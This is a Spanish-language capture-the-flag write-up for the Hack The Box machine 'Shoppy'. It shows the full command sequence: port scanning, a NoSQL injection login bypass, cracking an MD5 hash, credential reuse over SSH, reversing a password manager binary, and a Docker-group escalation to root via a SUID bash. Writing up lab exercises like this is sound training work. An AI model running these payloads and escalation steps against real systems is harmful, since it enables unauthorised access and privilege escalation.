Descripción
Shoppy es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Evasión de autenticación de aplicación web mediante inyección NoSQL
- Enumeración de usuarios mediante inyección NoSQL para obtener la contraseña cifrada de un usuario
- Enumeración de servicios para encontrar una instancia de Mattermost y obtener las credenciales para iniciar sesión en la máquina
- Pivote de usuarios mediante ingeniería inversa de una aplicación de gestor de contraseñas
- Escalada de privilegios al crear un contenedor Docker con permisos de
rootpara crear binarios maliciosos
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.180.
$ ping -c 3 10.10.11.180
PING 10.10.11.180 (10.10.11.180) 56(84) bytes of data.
64 bytes from 10.10.11.180: icmp_seq=1 ttl=63 time=47.6 ms
64 bytes from 10.10.11.180: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.180: icmp_seq=3 ttl=63 time=43.1 ms
--- 10.10.11.180 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 43.059/44.702/47.598/2.053 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.180 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.180
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Entonces realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.180 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.180
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
| 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open http nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.80 seconds
Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio shoppy.htb al archivo /etc/hosts.
$ echo '10.10.11.180 shoppy.htb' | sudo tee -a /etc/hosts
El sitio web muestra un conteo regresivo de la Shoppy beta como una página estática. Hacemos una enumeración de subdirectorios.
$ gobuster dir -u 'http://shoppy.htb' -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 179] [--> /images/]
/login (Status: 200) [Size: 1074]
/admin (Status: 302) [Size: 28] [--> /login]
/assets (Status: 301) [Size: 179] [--> /assets/]
/css (Status: 301) [Size: 173] [--> /css/]
/js (Status: 301) [Size: 171] [--> /js/]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
...
Descubrimos dos puntos de acceso interesantes /login y /admin, que redirige. En la página de inicio de sesión encontramos que necesitamos ingresar las credenciales del administrador para acceder al panel de administración.
Para iniciar sesión se envía una solicitud HTTP POST al punto de acceso /login con los siguientes datos: username=admin&password=admin. Las credenciales por defecto no funcionan, por lo que nos movemos a buscar vulnerabilidades en el formulario.
Explotación
Después de comprobar muchas técnicas de inyección SQL, no funcionan, por lo que nos movemos a la inyección NoSQL. Encontramos que la carga útil admin' || 'a'=='a para el campo username funciona para obtener una sesión de administrador.
$ curl --data "username=admin' || 'a'=='a&password=admin" 'http://shoppy.htb/login' -v
...
< Set-Cookie: connect.sid=s%3A7Z5iT8W3uNliS8D0mlccyFd2RjktbC3k.EZ8K%2BcuDrWGPxG9trsaEyTzMHb3ha2DC%2FdNqSMeq1wQ; Path=/; HttpOnly
<
* Connection #0 to host shoppy.htb left intact
Found. Redirecting to /admin
Nos redirige al panel de administración en el que podemos buscar usuarios.
Después de una búsqueda podemos descargar un archivo .json con información sobre los usuarios buscados.

$ curl -s 'http://shoppy.htb/exports/export-search.json' | jq
[
{
"_id": "62db0e93d6d6a999a66ee67a",
"username": "admin",
"password": "23c6877d9e2b564ef8b32c3a23de27b2"
}
]
Para el usuario admin encontramos el ID _id, el username y la contraseña encriptada password. No es posible recuperar la contraseña, por lo tanto nos movemos a utilizar la inyección NoSQL anterior para recuperar a todos los usuarios.

$ curl -s 'http://shoppy.htb/exports/export-search.json' | jq
[
...
{
"_id": "62db0e93d6d6a999a66ee67b",
"username": "josh",
"password": "6ebcea65320589ca4f2f1ce039975995"
}
]
Ahora recuperamos la contraseña cifrada para el usuario josh. Asumimos que es un MD5 y la rompemos con la herramienta John The Ripper.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (josh)
1g 0:00:00:00 DONE 1.666g/s 23905Kp/s 23905Kc/s 25259KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña del usuario josh, remembermethisway. No podemos iniciar sesión en la máquina utilizando estas credenciales. No encontramos ningún servicio para probar las credenciales. Enumeramos todos los puertos abiertos en la máquina con la herramienta nmap.
$ sudo nmap 10.10.11.180 -sS -p- -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for shoppy.htb (10.10.11.180)
Host is up (0.048s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9093/tcp open copycat
Encontramos que el puerto 9093 está abierto. Es un servicio HTTP y podemos enumerarlo. Encontramos estadísticas sobre una aplicación Go en ejecución.
$ curl 'http://shoppy.htb:9093'
...
# HELP playbooks_plugin_playbooks_playbook_archived_count Number of playbooks archived since the last launch.
# TYPE playbooks_plugin_playbooks_playbook_archived_count counter
playbooks_plugin_playbooks_playbook_archived_count 0
# HELP playbooks_plugin_playbooks_playbook_created_count Number of playbooks created since the last launch.
# TYPE playbooks_plugin_playbooks_playbook_created_count counter
playbooks_plugin_playbooks_playbook_created_count 0
# HELP playbooks_plugin_playbooks_playbook_restored_count Number of playbooks restored since the last launch.
# TYPE playbooks_plugin_playbooks_playbook_restored_count counter
...
Al buscar cadenas en la respuesta encontramos una inusual playbooks_plugin_playbooks. Buscando en la web, encontramos que esto está relacionado con mattermost-plugin-playbooks, un plugin para Mattermost. Mattermost es una plataforma de colaboración de código abierto, autohosted que ofrece chat, automatización de trabajo, llamadas por voz, compartir pantalla y integración con inteligencia artificial. Vamos a comprobar la existencia del subdominio mattermost.
$ echo '10.10.11.180 mattermost.shoppy.htb' | sudo tee -a /etc/hosts
El subdominio existe y nos redirige a la página de inicio de sesión de la aplicación Mattermost.
Las credenciales de josh funcionan y podemos iniciar sesión en la página principal de la aplicación. En el canal Development encontramos que josh codificó un gestor de contraseñas en C++ y se desplegó en la máquina.
En el canal Deploy Machine encontramos las credenciales del usuario jaeger, con contraseña Sh0ppyBest@pp!. Podemos usar las credenciales para iniciar sesión en la máquina utilizando el servicio SSH.
$ ssh jaeger@shoppy.htb
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)
Post-Explotación
Encontramos que jaeger puede ejecutar un comando como el usuario deploy, /home/deploy/password-manager.
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
Podemos listar el contenido de la carpeta HOME del usuario deploy.
jaeger@shoppy:~$ ls -la /home/deploy/
total 52
drwxr-xr-x 3 deploy deploy 4096 Jul 23 2022 .
drwxr-xr-x 4 root root 4096 Jul 22 2022 ..
lrwxrwxrwx 1 deploy deploy 9 Jul 22 2022 .bash_history -> /dev/null
-rw-r--r-- 1 deploy deploy 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 deploy deploy 3526 Mar 27 2022 .bashrc
-rw------- 1 deploy deploy 56 Jul 22 2022 creds.txt
lrwxrwxrwx 1 deploy deploy 9 Jul 23 2022 .dbshell -> /dev/null
drwx------ 3 deploy deploy 4096 Jul 23 2022 .gnupg
-rwxr--r-- 1 deploy deploy 18440 Jul 22 2022 password-manager
-rw------- 1 deploy deploy 739 Feb 1 2022 password-manager.cpp
-rw-r--r-- 1 deploy deploy 807 Mar 27 2022 .profile
Ejecutamos la aplicación del gestor de contraseñas como usuario deploy, pero la contraseña anterior no funciona.
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !
Recuperamos el archivo binario para analizarlo y decompilarlo.
$ scp jaeger@shoppy.htb:/home/deploy/password-manager .
Encontramos en el código fuente descompilado mediante la herramienta Ghidra, que la contraseña maestra es Sample.
$ cat main.c
...
poVar2 = std::operator<<((ostream *)std::cout,"Welcome to Josh password manager!");
std::ostream::operator<<(poVar2,std::endl<char,std::char_traits<char>>);
std::operator<<((ostream *)std::cout,"Please enter your master password: ");
std::string::operator+=(local_68,"S");
std::string::operator+=(local_68,"a");
std::string::operator+=(local_68,"m");
std::string::operator+=(local_68,"p");
std::string::operator+=(local_68,"l");
std::string::operator+=(local_68,"e");
iVar1 = std::string::compare(local_48);
if (iVar1 != 0) {
poVar2 = std::operator<<((ostream *)std::cout,"Access denied! This incident will be reported !")
;
std::ostream::operator<<(poVar2,std::endl<char,std::char_traits<char>>);
}
else {
poVar2 = std::operator<<((ostream *)std::cout,"Access granted! Here is creds !");
std::ostream::operator<<(poVar2,std::endl<char,std::char_traits<char>>);
system("cat /home/deploy/creds.txt");
}
...
Usamos la contraseña para recuperar la contraseña del usuario deploy, Deploying@pp!.
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
jaeger@shoppy:~$ su root
Password:
su: Authentication failure
jaeger@shoppy:~$ su deploy
Password:
$ bash -i
deploy@shoppy:/home/jaeger$ cd
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
Encontramos que deploy es parte del grupo docker, lo que significa que es capaz de crear nuevos contenedores Docker a partir de imágenes, como la alpine que ya está disponible.
deploy@shoppy:~$ docker ps -a
CONTAINER ID IMAGE COMMAND STATUS PORTS NAMES
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID SIZE
alpine latest d7d3d98c851f 5.53MB
Vamos a utilizar esta situación para crear un nuevo contenedor, el cual tendrá permisos de root dentro del contenedor, para luego mapear una carpeta del host a una carpeta del contenedor para luego crear un binario Bash con SUID para escalar nuestros permisos y crear una nueva root terminal.
deploy@shoppy:~$ docker run --rm -it -v /tmp:/tmp_host -v /bin:/bin_host alpine sh
/ # cp /bin_host/bash /tmp_host/suid-bash
/ # chmod u+s /tmp_host/suid-bash
/ # exit
deploy@shoppy:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1001(deploy) gid=1001(deploy) euid=0(root) groups=1001(deploy),998(docker)
Flags
En la terminal root podemos recuperar las flags user.txt y root.txt.
suid-bash-5.1# cat /home/jaeger/user.txt
<REDACTED>
suid-bash-5.1# cat /root/root.txt
<REDACTED>